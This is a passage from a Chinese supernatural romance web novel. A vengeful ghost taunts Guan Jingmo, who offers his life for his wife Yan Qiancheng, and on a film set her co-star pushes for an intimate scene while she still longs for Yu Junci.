关景墨试图将颜千澄脱离出来,希望怨灵不要将颜千澄和她的父母,视为一个整体。 谢凡沉默。 关景墨察言观色,感觉这条路可行,心里高兴又紧张,努力保持冷静:“这段时间,您在千澄身边,应该也发现了,千澄跟她的父母完全不同,她是一个很好很好的人……” 谢凡还是沉默。 它自然早就看出来了,颜千澄跟她父母不同。 她的灵魂,纯白干净,没有罪孽。 最令它震动的,是那个雨夜。 颜千澄知道不能跟心上人在一起后,她把原先准备用来追求他,跟他去约会的两张电影票,一起送给他。 一个特别喜欢,又无法光明正大在一起的人…… 如果是颜千澄的父母,一定会想方设法占有他,让他沦为自己的玩物,还会毁掉任何试图接近他的人。 颜千澄却能忍痛放手。 明明,颜千澄手握整个颜氏集团,位高权重,只要稍加逼迫,喻君辞根本无法抗拒。 她却愿意把他当成跟她平等的人来尊重,而不是将他当成物品来占有。 几个月下来,颜千澄就算心里再难过,也能忍着不打扰他。 真正的放他自由。 真心的愿他幸福。 谢凡承认,它有感动到。 还有,那天,男Alpha演员谋杀桑椹。 跟她父母不同,不,是相反。 面对凶暴丑恶,颜千澄愿意不计个人得失,挺身而出。 她有正义感。 也有贯彻正义感相应的能力。 这社会生病了。 颜千澄这样的人,能一点一点地,改变这个世界。 谢凡承认,颜千澄这样的人,如果年纪轻轻就死,是挺可惜的。 还有…… 颜千澄出身豪门,本人也特别出色,人生原本很美好。 乍逢巨变,亲身经历黑暗,错失至爱。 她却没有自暴自弃,像某些人一般,受点打击就一副看透世情的悲观厌世模样,就此沉沦。 她依旧认认真真地过好每一天。 她的眼睛里,依然有着温暖的光。 谢凡承认,他对她,起了几分敬意。 可是…… 可是…… 谢凡冷哼一声,俊美的脸庞上,戾气深重:“颜千澄的父亲害死了我父亲,她的母亲害死了我母亲,他们害我在孤儿院长大,一生孤苦……你要我可怜颜千澄,那谁来可怜我们?” 关景墨:“……” 怨灵怨气深重,不会轻易放下仇恨。 他闭上眼睛,片刻后,睁开眼睛,注视着怨灵,眸光平静:“您的父母和您,加起来一共三条人命。如今,千澄的父母已死,是不是,您再要一条人命,就够了?” 谢凡冷笑:“你真要代颜千澄死?” 关景墨点头:“是,希望您收下我的性命后,能放过千澄,她真的是一个很好很好的人……” 谢凡盯着关景墨,目光毒蛇般狠辣。 关景墨被它盯得全身一阵阵发寒。 知道自己可能要死了,有点心酸,又很欣慰。 站在一边的姚甜甜想说些话,劝劝怨灵,帮助关景墨和颜千澄。 但她深知,自己社会经验太浅,说出的话可能没什么用,可能还会得罪对方。 对关景墨和颜千澄说错话不要紧,因为他们都是好人,会宽容她。 但如果对怨灵说错话…… 可能会破坏关景墨的计划,害了颜千澄。 姚甜甜咬着牙,死死忍着,别过脸,不忍心再看。 感应到萧杀的气氛,吃得正开心的贝贝暂时停下,上下打量关景墨,扭头跟谢凡说:“我觉得可以,他的灵魂灰灰的,没有千澄姐姐的干净,跟千澄姐姐的心上人更是没法比,这人不算大奸大恶,但他平日想的东西和做的事,肯定不‘正’,不是什么好人,杀掉他,你不会太内疚。” 谢凡生气:“你吃你的,少说两句!我内疚什么?这是我仇人的女婿,我杀他不内疚,颜千澄是我仇人的女儿,我杀她,更不会内疚!” 关景墨:“……” 心里暗暗记下,怨灵可能不太想杀千澄,因为杀了她,它会内疚。 谢凡气完,瞪着关景墨,嘲讽他:“你一直在想办法引我杀你,你当我不知道?我为什么要遂你的心愿?” 它就偏不杀他。 但关景墨是它仇人的女婿,还是个明知道它的存在,还上赶着挤入它的仇人列表,做它眼中钉的讨厌家伙。 不杀他,也要狠狠踩他几脚。 谢凡冷冷一笑:“如果杀了你,能让我仇人的女儿痛彻心扉,我还可以考虑一下,但问题是,杀了你,颜千澄根本就不痛不痒啊,你觉得,你值得我杀吗?” 关景墨:“……” 无法反驳。 是的,千澄……讨厌他。 他死了,千澄不会为他难过的…… 谢凡继续伤害关景墨:“你喜欢颜千澄,喜欢得连命都不要了,可你知道,颜千澄现在跟谁在一起吗?我来这里的时候,她跟她的心上人久别重逢,两人眼里的情意,瞎子都看得见。颜千澄身边还有个Omega美人,长得我见犹怜的,跟她志趣相投,天天跟她一起拍戏,有说不完的话……” 关景墨:“……” 喻君辞和桑椹。 喻君辞跟千澄,原本就彼此倾心,只是他们的爱情没来得及真正开始,就中断了。 是自己愧对他们。 而桑椹…… 的确是个难得一见的美人。 正如网上所说,自己跟千澄的婚姻,是用不要脸的手段偷来的。 关景墨认为,他没有资格,去管千澄的桃花。 谢凡再接再厉,一脸幸灾乐祸:“我到现在,还没杀颜千澄,可不是舍不得杀,也不是怕杀了她会内疚,是因为我要看她不幸!” “呵呵,颜千澄,天之骄女,人生跟开了挂似的顺遂完满。我们这么惨,怎能允许她活得那么好?” “嗯,我弄死她父母后,她祖母病倒,小皇女的人生不再顺遂了,一个刚毕业的年轻人,要照顾病重的祖母,要撑起偌大的家业,我看她那段时间累得快吐血,就暂时不杀她,让她先痛苦痛苦……” 这是实情。 谢凡一开始没急着杀颜千澄,的确是想先观赏一下,仇人女儿疲累痛苦的模样。 后来…… 后来…… 谢凡摇头,将漫上心头的复杂思绪远远抛开,眼眸幽深,紧盯着关景墨。 “后来,颜千澄过得更痛苦了。这痛苦,可就跟我无关了,是你的亲属和你,一手造成的哦……” 关景墨默默听着,脸色逐渐发白。 谢凡继续一句接*一句,想踩着关景墨的心,用鞋底碾几下:“刚刚贝贝说的话,你听见了吧,你跟颜千澄的心上人喻君辞没法比。” “喻君辞的灵魂,比颜千澄的更干净更清白,是个连鬼都会敬他三分的真正的好人。” “不得不说,颜千澄挑爱人的眼光,真的很好。跟灵魂纯净的人在一起,无论是生前还是死后,都有很多好处的……你是俗世之人,这个你暂时不懂,就说你能听懂的吧。” 谢凡冷笑,要踩中关景墨内心最痛的点:“喻君辞原生家庭很幸福,他懂得该怎样去爱一个人,也懂得该怎样接受别人的爱。” “爱人与被爱,对他这样原生家庭幸福的人来说,就跟吃饭喝水一样,是一件自然而然,不用怎么思考,就能做好的事。” “跟喻君辞这样的人相处,会很舒适。” “他有足够的爱,可以给予爱人,让爱人幸福开心,又不会像你这样过度付出,既委屈了自己,又给爱人造成压力与负担。” “面对出色的颜千澄,他可能会有点自卑,但永远不会像你这样卑微。” “他的内心足够稳定,没有那么多纠结。他不会像你这样,手足无措进退失据,连话都说不好。” “跟他相处,有什么问题,不需要爱人多费神,只要给他一点时间,他自己就能调整好。就算有什么大问题,他也能跟爱人好好沟通,一起解决。在这样的人身边,会感觉很放松,很踏实。” “这么说吧,喻君辞是健康正常人,你是病人,颜千澄是亚健康。你觉得,一个亚健康的人,是跟健康人一起幸福,还是跟你这个病人一起幸福?” “喻君辞能治愈颜千澄,让她真正开心起来,你不能。” 关景墨脸色惨白。 谢凡阴恻恻的,盯着关景墨:“那么好的人,你却让颜千澄错过了他。” “颜千澄晚上经常失眠,你知道吗?睡不着时,她就一直看着喻君辞送她的平安结,还有她的保险箱,里面收藏着几张喻君辞的照片。她经常想着想着就默默落泪,你知道吗?” 今天伤关景墨伤得够深,谢凡挺满意。 最后扔下一句“你爱颜千澄,想帮颜千澄,却亲手造成她的不幸,你说颜千澄会不会后悔认识你”,谢凡飘然而去。 贝贝吃完后,像大人一样长叹一声,也跟着走了。 姚甜甜抓耳挠腮,不知道该怎么安慰老板。 关景墨沉默良久,擦擦眼睛,声音沙哑:“现在知道怨灵的名字和相貌,我去查它,看有没有什么能利用的。你去整理小鬼的资料,想想能不能让它站在我们这边,多出点力保护千澄。” 姚甜甜意外地“啊?”了一声。 她还以为,老板会消沉一阵子呢。 关景墨将“怨灵生前在孤儿院长大”、“怨灵骄傲嘴硬”、“怨灵想看千澄不幸,暂时不会杀她”、“怨灵不屑杀我,但要伤害我”和“怨灵可能很关心千澄,可能希望她幸福”这几条新的信息整理好,记在心头,苦笑:“路已经走到这里,就算是跪着,也得走下去。” 第23章 片场。 桑椹听喻君辞讲解中毒后血要怎么流。 他坐得端端正正的,双手规规矩矩叠放在膝盖上,一边听一边点头,认真得不得了。 身为知名Omega美人,顶流大牌演员,桑椹一向有几分傲娇。 现在会这样乖巧,一是他本来就敬业,愿意竭尽所能,将电影的每一个细节演好。 二是…… 那时候,导演带着喻君辞走过来,桑椹扫了一眼。 心想那个就是叫喻什么的专家吧,看上去挺普通的,引不起他一丝兴趣。 桑椹视线片刻不停,就转了回去。 他要继续跟千澄姐姐分享以前拍戏的趣事。千澄姐姐很喜欢电影,爱听这个。 话到嘴边,却没能说出口。 他被颜千澄脸上的表情噎到了。 这表情,他其实见过。 在拍电影的时候。 在戏里,他是她的宠妃,独享她的温柔深情。 但,在戏外,颜千澄一直对他淡淡的。 对所有人,包括她的合法配偶,她都是淡淡的。 桑椹一度以为,会深爱一个人,爱得刻骨铭心的颜千澄,只存在于戏里。 毕竟,现实中的她,那么完美,那么耀眼,谁能配得上她的一往情深? 可那时,在戏外,在现实中,桑椹分明看见,颜千澄那双黑玉般幽深的眼眸里,流露出厚重入骨的情感。 谁啊??? 桑椹震惊着,顺着颜千澄的视线,看过去。 不敢置信。 再仔细观察颜千澄,一格一格地顺着她的视线,再看过去。 我的妈呀。 她一往情深地望着的,真的是那个叫喻什么的专家! 桑椹揉揉眼睛,仔细观察喻君辞。 普通,平凡,大众脸。 桑椹突然觉得,这个世界,有点不真实。 那个叫喻什么的专家,跟颜千澄聊了两句后,两人相对沉默了好一会儿。 然后,专家应导演请托,给桑椹上课。 他简单地自我介绍,然后就详细讲述中毒后会有什么表现。 桑椹一次又一次,暗中仔细观察喻君辞。 依然是普通,平凡,大众脸。 看不出有什么特别的地方。 哦,不是的,这人很特别,太特别了。 被那么完美那么耀眼的颜千澄喜欢着,他居然还能当自己是普通人! 神态言辞举止,居然还能那么普通平凡不起眼! 没有半点得意,没有一丝激动。 甚至没有多看颜千澄一眼。 就这样,认认真真做着自己的工作。 桑椹偷偷看颜千澄。 颜千澄就坐在不远不近的地方。 喻君辞在忙,她就一直低着头,双眼盯着剧本。 在装忙。 演技拙劣得像刚进演员训练班的菜鸟,没有她平日半成的水准。 桑椹一时百感交集。 讲着课的喻君辞,突然停顿了一会儿。 桑椹吓一跳。 他就分心那么一两秒,这人就发现了! 赶紧收回视线,端正规矩地坐好,眼观鼻,鼻观心。 见桑椹的注意力回来了,喻君辞没有表示什么,像什么事都没发生过一般,继续讲课。 语调平和,不卑不亢,不疾不徐。 桑椹不敢不认真听。 在桑椹心目中,颜千澄的合法配偶关景墨,像电影里有地位但不受宠的皇后。 他敢暗搓搓挑衅关景墨,敢拐个弯儿向他宣战。 直觉告诉桑椹,颜千澄很欣赏他的演技,把他视为重要的事业伙伴。 他得罪关景墨,只要不是太过分,颜千澄应该不会把他怎样。 而眼前的喻君辞…… 虽然他看上去,真的很普通。 虽然他态度温和,看上去脾气挺好。 但,我的妈呀! 这位是太后吧! 是连皇帝都得敬他几分的,后宫里无敌的存在! 桑椹感觉到,颜千澄一直暗中注意着这边。 如果他对喻君辞,有一丝一毫的不敬…… 颜千澄一定会让他后悔。 好可怕。 喻君辞讲了挺久。 他讲完后,颜千澄突然抬头,犹豫着问道:“等会儿,拍戏的时候,你会看吗?” 她脸上有几分为难。 今天要拍宠妃中毒,女皇拼命救他的戏。 有几个拥抱亲脸镜头。 桑椹猜测,颜千澄应该是不想在喻君辞面前,跟别人亲密吧…… 心里酸酸的。 只是拍戏,不是真的,她都不愿吗…… 她那么在意他吗? 喻君辞沉默片刻,微微苦笑:“不看了,我已经把我所知的都讲了,没有要补充的。” 他转头询问桑椹:“你有没有什么问题?” 桑椹认真想想,摇头。 心里感叹,原来……喻君辞也不想看颜千澄拍亲密戏。 但他想做好导演拜托的事,帮他们拍好电影。 所以刚刚讲得那么详细,把可能用到的细节全说了。 喻君辞再次看向颜千澄,轻声说:“那我该走了。” 两人对视。 气氛又变得复杂起来。 颜千澄沉默着。 身上的伤感,几乎要化为实质。 桑椹赶紧又找个借口溜掉。 走开几步,隐约听到他们同时说了一句话。 两人说话的声音都低,但因为是异口同声,这话传入远处的桑椹耳中。 “保重。”—— 晚上。 颜千澄打开保险箱。 这个保险箱里,收藏着她的爱情纪念品。 东西少得可怜,只有一本当年听喻君辞讲课的笔记,和几张喻君辞的照片。 不是颜千澄偷拍的。 喻君辞低调,不太习惯镜头。 颜千澄就算想他想得再难受,也不愿做可能会冒犯他、惹他不高兴的事。 这寥寥几张照片,是在校园网上的学校活动记录里找到的。 喻君辞很少参加学校活动,照片本来就少。 没人将焦点集中到他身上,这少量的几张照片里,他都在边边角角。 但颜千澄还是找到了他,细心地把照片打印保存下来。 颜千澄怔怔看着照片里的喻君辞。 总是……跟他隔着一段距离。 三年前,是师生。 三年后,她已婚。 像两条平行线。 再接近,也永远无法相交。 颜千澄看了很久。 然后,她放下照片,擦擦眼睛,深呼吸。 半空处,谢凡一直看着颜千澄。 也看了很久。 颜千澄合上保险箱。 白皙纤长的手指慢慢滑动,一个字母接一个字母,按上锁的密码。 dbqyjcqnydyxf。 谢凡猜,这密码的意思是,对不起喻君辞请你一定要幸福。 它记得,几个月之前,他刚锁定颜千澄时,这保险箱的密码是yqcyjcysysysr。 意思应该是,颜千澄喻君辞一生一世一双人。 谢凡沉默着,一身煞气起起伏伏。 颜千澄是它仇人的亲生女儿。 她不快乐,人生不顺遂不完满。 它应该觉得开心的。 嗯,它应该开心的。 颜千澄站起身。 想着要出去跑一跑,调整一下心情。 不然晚上又睡不着了。 她换上运动衣运动鞋,出门,在门口碰见关景墨。 他刚回来。 关景墨望向半空中的暗影。 离开阵法,怨灵的面目又变得朦胧,看不出它在想什么。 小鬼不在,应该在片场。 一人一影,隔空对峙片刻。 关景墨收回视线,看向颜千澄。 发现她脸上有几分疲惫。 他张了张口,想关心两句。 突然想起,怨灵说过,是他,亲手造成她的不幸。 还有,他是个病人,根本就无法让她开心起来。 关景墨黯然垂头,退开几步,让颜千澄先出去。 颜千澄皱了皱眉头。 前几天,就感觉关景墨怕她,看到她跟老鼠看见猫一样。 今天,感觉关景墨躲她躲得更厉害了。 颜千澄现在心情不好,没说什么,继续向门外走去。 突然想起心腹卫蓝跟她报告的事。 事关颜氏集团,沉甸甸的责任感压下来,颜千澄不得不停步,转身,跟关景墨沟通:“你今天很忙?” 关景墨正目送颜千澄离开,没想到她突然跟他说话,吓了一跳,结结巴巴的回答:“嗯……是有点事……” 颜千澄打量关景墨。 跟衣品不太好,总体穿着风格偏休闲的喻君辞不一样,关景墨经常出席商务场合,总是一身正装,白衬衫,深色西装外套,系着领带,穿着皮鞋,从头到脚都是国际名师量身定制,顶级的料子,剪裁得体,一看就是金字塔顶端的人物。 关景墨的职位和身份,要求他穿成这样。 也许是穿习惯了,就算是不用工作的假日,关景墨也这样穿。 网上有人说,关景墨完全没有Omega的样子,更像个Alpha,不娇美不贤惠,委屈了颜千澄。 颜千澄倒觉得没什么,商业联姻,没必要要求对方娇美贤惠。 她也不是特别喜欢那一型的。 只是关景墨一成不变的衣着,让人根本看不出,他今天去过什么地方,做过什么事。 他脸上有遮掩不住的疲惫,应该是真的挺忙。 忙的是什么,看他的样子,肯定是不想说。 就算他肯说,因为他曾几次出尔反尔,她也不一定会信。 颜千澄就不问了,说正事:“今早,我让公关部拟一份声明,想先给你过目,再发布,但他们说一直联系不上你。你等会儿有空了,就尽快看看。” “是,我马上看,”关景墨赶紧应,“抱歉,我……今天真的有急事……” 颜千澄看着他:“你是不是要请长假?” 卫蓝告诉她,关景墨最近突然下达了大量指示。 种种安排,能确保就算关景墨离开一段时间,颜氏集团也能照常运转。 关景墨疑惑,片刻后,反应过来了:“不,不是的,现在应该不用……” 初次跟怨灵沟通,很危险,他做了必死的准备。 现在知道,怨灵不屑杀他,只想伤害他,之前的准备就用不上了。 颜千澄:“……” 现在应该不用? 意思是,他原先的确是想请长假的? 多长的假? 别的小事,他不说,就算了。 请长假,不存在她信不信的问题,于公于私,他都应该跟她说声吧? 颜千澄觉得,她跟喻君辞,是两条平行线。 现在,颜千澄突然发现,她跟关景墨,也是两条平行线。 导致她跟喻君辞无法接近的,是客观上的身份,以及一些,比尚未真正开始的爱情更重要的东西,比如他的原则和道德观,她的感情观和跟祖母多年的亲情。 她跟喻君辞沟通没有问题。 没达到心心相印的程度,有时有点误解,那是因为一直以来,两人刻意保持着距离,沟通机会很少。 但只要稍微交流两句,就能大致理解彼此的想法。 而她跟关景墨,沟通很成问题。 很多时候,她不明白关景墨在想什么。 他又好像在怕她,回避着她。 颜千澄实在是没有心情再说了,结束这次沟通,出门跑步。 关景墨急着去看颜千澄说的公告。 这是颜氏集团的工作,更是颜千澄特地交代他的事。 他觉得这是大事,必须加急优先处理的。 关景墨快步走向书房,要不是怕失仪丢了千澄的脸面,他早跑起来了。 来到常用的位置,关景墨坐下,打开笔记本电脑,进入工作邮箱,点开公关部发给他的邮件。 扫了两眼,整个人愣住。 再一个字一个字地仔细看。 他没看错! 千澄……居然亲自出面维护他…… “婚姻关系稳固”…… 千澄……不是等祖母逝世,就会跟他离婚的吗? 这话放出去了,她以后想离婚,舆论可能会对她不利啊。 “没有婚外情”…… 关景墨深知,自己不是一个理想的配偶,千澄也不喜欢他。 婚后,千澄没碰过他。 她是一个年轻的、健康的Alpha,有正常的欲望。 关景墨觉得,就算千澄要在外面找些慰籍,自己也没资格委屈。 可她……却拒绝了送上门的诱惑…… 她还呼吁网上的人不要人身攻击他。 以大众对千澄的喜爱与追捧,她表态了,很多人看在她的面子上,应该不会再骂他黑他了。 以千澄颜氏集团董事长的身份,她发话了,以后再有人攻击他,颜氏集团应该会采取法律手段,维护他了。 千澄一出手,就扭转了他被全网黑的局面。 其实,今时今日的关景墨,也有能力保护自己。 他是觉得,自己不配。 他觉得网上说的没错,他的确是不要脸,是卑鄙无耻,是没有正统Omega该有的娇美贤惠,是配不上千澄,是应该退位让贤…… 他的确是,对不起千澄。 没想到,千澄还肯对他这么好…… 泪水串串掉落,怎么擦也擦不干净。 就像小学三年级那个蝉鸣阵阵的傍晚。 岁月如水匆匆,时移世易。 她始终是他的盖世英雄。 思绪翻涌,也不知过了多久,突然,手机响起。 看了眼屏幕,是他今天一直在等的电话。 关景墨努力冷静下来。 不管怨灵怎么说。 千澄从过去到现在,一次次救他于水火之中。 他也要用自己的方式去救她。 关景墨点击接通。 “市郊的爱心福利院,我知道了。” “劳驾再仔细查查,谢凡在福利院,有没有亲近的人……” 第24章 第二天早上。 颜千澄出门的时候,又碰见关景墨。 关景墨站在他那辆按最高标准定制,坚固堪比堡垒的豪华防弹车旁边,在等着她,不知道等了多久。 一看见她,关景墨上前两步,踌躇着说:“千澄,早上好。” 颜千澄:“……” 关景墨这样子,像个害怕老师,又想讨好老师的小学生。 颜千澄不愿失礼,将别扭的感觉压下,回了句“早上好”。 关景墨鼓起勇气,小声问:“今天,我可以去你们剧组探班吗?我待一会儿就走,不会给你们添麻烦的。” 怕颜千澄不答应,他找个理由:“昨晚的公告已经发出去了。公关部说,我跟你一起公开露次面,公告效果会更好。” 这理由挺合理,颜千澄点头:“好吧,不要影响拍摄。” 关景墨赶紧应:“是,我会注意的。” 他打开车门,侧身等颜千澄上车。 颜千澄顿了顿,忍不住问:“有必要用这种车子吗?” 关景墨目光掠过她身后:“小心点,总没错的。” 谢凡飘浮在半空,沉默着,不屑跟他说话。 关景墨只感觉到,谢凡在冷笑。 像在嘲讽他,妄图用所谓的科技,阻挡怨灵的报复。 关景墨暗叹。 就算只是螳臂当车。 他也得想尽一切办法,用尽一切手段,保护千澄。 颜千澄感觉关景墨有点异样,顺着他的目光,望向身后。 巍峨的颜氏祖宅静静矗立着。 没有什么特别的东西。 未等她细看,关景墨的视线已经转回来了。 他又摆出传统贤惠Omega的姿态,低下头,默然等候。 工作要紧,颜千澄上车。 关景墨跟她坐同一排,依旧是尽量靠近车门,尽量降低自己的存在感。 到达片场门口,两人下车。 灯光此起彼伏地闪,大批媒体记者围拢上来,争相发问,几十个话筒同时递到面前。 “请问颜千澄小姐,您为什么突然发公告维护关景墨?” “请问千澄,关景墨之前做的事,你真的不介意了吗?” “澄澄,你跟桑椹真的没有假戏真做?” “千澄和桑椹私下交情怎样?” “请问,关景墨你是做了什么,让千澄改变对你的态度?” “是不是关景墨有了您的孩子?几个月了?” “请问关先生,关氏集团庆典时,您堂弟下药,您是什么时候知道的?” …… 颜千澄不喜欢这样夸张的阵仗,但身为公众人物、颜氏集团的董事长、娱乐圈炙手可热的新星,这是她工作的一部分。 露出礼貌得体的笑容,颜千澄从媒体记者们五花百门的问题里,挑了些回答。 基本上是在重申公告上的内容。 跟关景墨婚姻关系稳固。 跟桑椹只是好朋友,很欣赏他的演技和敬业精神,希望不要再有无端的臆测,伤害一个Omega好演员。 互联网不是法外之地,请勿肆意人身攻击,情节严重者,颜氏集团不排除会通过法律行动,保障集团高管的合法权益。 关景墨一直跟在颜千澄身侧,落后她半个身位。 他一言不发,一直注视着他的Alpha,认真听她说话。 他不需要特地演,只要稍微放开克制,眉梢眼角就自然而然流露出对颜千澄的恋慕敬爱。 有媒体在现场直播,网友们看到这一幕,纷纷感叹。 【别说关景墨不贤惠了,这姿态,这眼神,很有几十年前传统Omega的感觉】 【呵呵,关景墨做过的事,传统Omega可做不出】 【现在很多Omega傲娇得很,恨不得踩到Alpha头上,要Alpha跪舔,看看人家一个大集团的总裁,对他的Alpha多谦卑】 【如果我的Alpha是颜千澄,我能比关景墨谦卑一百倍,某些得不到Omega尊重的Alpha,麻烦先撒泡尿照照自己,别只会破防跳脚】 【我一直以为举案齐眉是传说,现在看到真实版的了,这CP我可以嗑】 【哼,纵是齐眉举案,到底意难平(1)!】 【澄澄没跟关某人说半句甜言蜜语,碰都没碰他一下,根本就不像夫妻】 【千澄跟桑椹,比跟关景墨更像一对,今年的荧幕CP评选就投他们了】 【嗯嗯,我不管,我就要嗑澄澄桑椹!】 【颜千澄挺身而出维护关景墨,心里应该有他的】 【那是因为我们澄澄有责任感,责任感不是爱】 【关景墨不会真的怀孕了吧?】 【不可能!!!我不相信!!!除非他再下药!!!】 …… 颜千澄出面维护关景墨,软硬兼施,网上人身攻击关景墨、诅咒关景墨的言辞一下子消失大半。 但关景墨的形象还是不讨喜,只有零零星星的人支持他,大多数人仍觉得,他不够好,配不上颜千澄。 颜千澄不愿耽误拍摄,简单应对媒体记者后,就道声抱歉,让保镖护送着进入片场。 关景墨紧跟在颜千澄身后。 他纵横商场多年,机警敏锐,一踏入片场,就察觉到气氛不对。 桑椹和他的经纪人,还有几位专家制片之类的人物,正围着导演讨论什么。 有工作人员注意到关景墨,似笑非笑地瞟他好几眼。 颜千澄也发现了。 她向来磊落,直接走到那一圈人里,微笑着跟他们说早安,关景墨跟着颜千澄,礼貌地向众人打招呼。 颜千澄出道时间不长,还是个新人,但她是这部电影的主演,名气大,人气高,背景也硬,片场里人人都给她面子,纷纷热情回应。 热闹喧嚣的人群中,桑椹深深看颜千澄一眼,脸颊突然泛起不正常的红晕,赶紧移开视线。 然后,他看见关景墨。 桑椹眼神微凝,五官精致的脸上,红晕迅速褪去。 颜千澄转向导演,眼神带着疑问。 导演也不啰嗦,跟颜千澄说明情况:“我们在讨论今天要拍的场景52,桑椹提议,按最初的修订稿来拍。” “最初的修订稿?”颜千澄惊讶,“不是说……作废了吗?” 修订稿,是演员签约时看到的第一版剧本。 修订稿里的场景52,原是一场女皇与Omega宠妃的亲热戏。 剧本里,皇后作恶多端,屡次加害Omega宠妃,女皇愤然废了他的后位,将他打入冷宫。 前朝后宫很多人以为,废后之后,女皇会将Omega宠妃捧上后位。 因为,她是那么的宠爱他啊,含在嘴里怕化了,捧在手心怕摔了。 但女皇没有。 她深思熟虑后,选了一位家世背景合适的妃嫔,做她的新任皇后。 从实行一夫一妻制,爱情与婚姻相挂钩的现代社会,意外穿越到古代的Omega宠妃终于明白,是自己太天真了。 他深爱女皇,觉得他与女皇之间的爱情,无比珍贵,无比重要。 可在女皇心目中,情爱,还有他这个宠妃,并没有朝政重要。 他终其一生,只能是她的妾。 下旨册封新皇后之后,女皇又一次临幸Omega宠妃。 Omega宠妃照常服侍她。 只是…… 对女皇强烈的爱,与自暴自弃自认为是玩物的自卑相交织,Omega宠妃比往常多了几分绝望与疯狂。 迷乱中,女皇在他眼角尝到一滴泪水。 这场戏尺度颇大。 颜千澄听说,当初桑椹看过剧本后,表示不愿拍。 他是两届影后,票房的保证,编剧赶紧按他的要求改剧本。 正式的拍摄稿里,这场戏改成了可以借位的吻.戏。 现在,怎样又要改回来了? 颜千澄看向桑椹。 桑椹一脸专业:“这段时间,我反复研读剧本,认为场景52中,吻.戏难以完整呈现女皇与宠妃之间复杂的联结与冲突,修订稿里的表现形式能强化情感表达,更能释放角色情感张力。” 周围一圈人纷纷附和,导演跟着点头:“我认同桑椹的意见,千澄你觉得呢?” 颜千澄读过原著,知道原著里是有这情节的。 如今不比十几年前,审核严格了很多,小说一般很清水,脖子以下不描述。 在这样的大环境下,作者仍尽力写出这情节,可见确实是有角色塑造、情节发展及艺术表达上的必要性。 剧本的修订稿原本也有这场景,只是因为桑椹一向以冰清玉洁的玉O形象示人,入行多年,从来不拍大尺度的戏,才改掉了。 现在,Omega桑椹都愿意为艺术牺牲,颜千澄身为热爱电影的敬业演员,身为一个在社会普遍认知中,不会在那种事上吃亏的Alpha,没理由拒绝。 于是,颜千澄也点了头。 导演很高兴,怕桑椹和颜千澄反悔,赶紧请亲密指导就位,制定动作编排表,通知法务部走法律程序,拟定知情同意书与特殊场景协议,颜千澄和桑椹也请来了各自的律师。 关景墨默默退后,将预先准备好的食物饮料分发给剧组众人。 全剧组都知道,他的Alpha,即将和别的Omega拍船.戏了。 好奇探究、幸灾乐祸、怜悯同情、嘲讽不屑……各种各样的目光刺到他身上。 关景墨调整心态,表面一派波澜不惊。 等众人看够了热闹,注意力从他身上移开,关景墨取出两碗用没有农残没有重金属没有打蜡的有机大米做成的饭,还有一堆没有转基因没有农残没有防腐剂没有保鲜剂的水果,悄悄放在一处阴暗角落,朝半空的谢凡和贝贝拱了拱手。 这正是他今天找借口跟着颜千澄,来剧组探班的目的。 用食物讨好小鬼。 若能讨好怨灵,就更好了。 谢凡没理他。 贝贝馋得想流口水,勉强忍着:“我不喜欢目的性这么强的人,像我的前主人,付出点什么都要回报,给吃的喝的,是为了奴役我。” 关景墨低声答:“不是奴役,是感谢,谢谢你喜欢千澄……这点东西,只是区区薄礼而已,小小意思,不成敬意。” 贝贝犹豫,转头问谢凡:“我吃你仇人女婿的东西,你会不会生气?” 食物诚可贵,友情价更高。 谢凡叹气:“我生气什么?小孩子馋嘴很正常。” 贝贝想说它是很多岁的飘,不是小孩子,但它确实馋了,再也忍不住,飞扑上前,深吸食物的香气,一脸幸福。 关景墨欣慰笑笑。 他没想过要奴役小鬼,那太刻意,也危险。 但也不是一无所图。 人与人之间,很多时候,并不需要刻意建立明确的从属关系。 平时偶尔给点好处,慢慢积累好感。 到了关键时刻,对方心里能偏向他一点点,就能带给他莫大的好处。 偏向自己的人越多,好处就会像滚雪球一般,越滚越大。 关景墨再次向谢凡拱手,表情真诚。 网上有人说,关景墨对他的Alpha颜千澄很谦卑。 他们不知道的是,为了颜千澄,关景墨还愿意对别人谦卑。 甚至愿意对他讨厌的人……鬼,低声下气,笑脸相迎。 只求颜千澄能顺利度过死劫,平平安安。 可惜怨灵还是没理他。 怨灵……心如明镜,知道他的心思,不吃他这套,不受他利用。 可它没阻止它的小鬼朋友吃他的东西。 关景墨微叹。 难怪小鬼说他灵魂灰灰的,不是什么好人,没有千澄的干净,跟喻君辞更是没法比。 如今看来,他连怨灵都比不上。 对孩子模样的小鬼,怨灵都会怜悯它,尽量让它开心。 他却只想着,怎样用成年人的社交手段,软化它,利用它…… 片场一片忙乱,导演催促着各部门,用最快的速度完成筹备工作。 颜千澄和桑椹签好协议,阅读影视制作亲密场景安全指南,然后核对演练动作流程。 在律师与亲密指导的监督下,颜千澄白皙纤长的手指,在桑椹衣服上缓缓滑动。 第25章 贝贝吃饱喝足,看着颜千澄和桑椹的亲密互动,一脸疑惑:“奇怪了,昨天喻君辞在的时候,千澄姐姐挺尴尬的,连拥抱亲脸的戏都不愿拍。” 今天在场的,是颜千澄的合法配偶。 导演说要拍亲密戏,颜千澄只考虑这个戏有没有必要,心思全在工作上,完全没在意过旁观者关景墨的感受。 谢凡冷笑:“正常,她自己喜欢的人,和死皮赖脸倒贴上来的人,待遇怎么可能一样?” 有机会踩仇人女婿的心,它自然是要加把力狠狠踩的。 关景墨沉默。 他什么都明白。 明白千澄热爱电影,这场戏对她来说,是艺术创作的需要,是工作的一部分。 拍戏时,她心里不会有什么旖旎想法。 明白自己只是千澄的联姻对象,千澄正规正当的工作内容,根本就不需要*跟他沟通报备。 明白要不是一场意外,他连成为千澄联姻对象的机会,都没有。 明白千澄只喜欢喻君辞,在千澄心里,他的确是远远不及喻君辞。 哦,他连跟喻君辞相比的资格,都没有。 关景墨真的什么都明白。 可是…… 他的心,也是真的有一点点疼。 关景墨眨眨发酸的眼睛,注视着颜千澄。 她正认认真真跟导演讨论着什么,乌黑的眼眸里,闪烁着生动的光芒。 做演员,拍电影,是千澄一直以来的梦想。 怨灵说,千澄这段时间很痛苦,很不幸。 但至少,此时此刻,千澄是快乐的。 关景墨微微一笑,提醒自己,不要忘了初心。 他感激她,欣赏她,敬重她,崇拜她,憧憬她…… 爱她,爱得刻骨铭心。 那,只要她过得好,平平安安,开开心心的,就够了啊。 今天的目的已经达成,怕打扰颜千澄,关景墨默默收拾好东西,回颜氏集团总部工作。 桑椹听着导演和颜千澄讨论,眼尾余光看到关景墨一脸平静的离开。 有种一拳头打到棉花上的憋屈感。 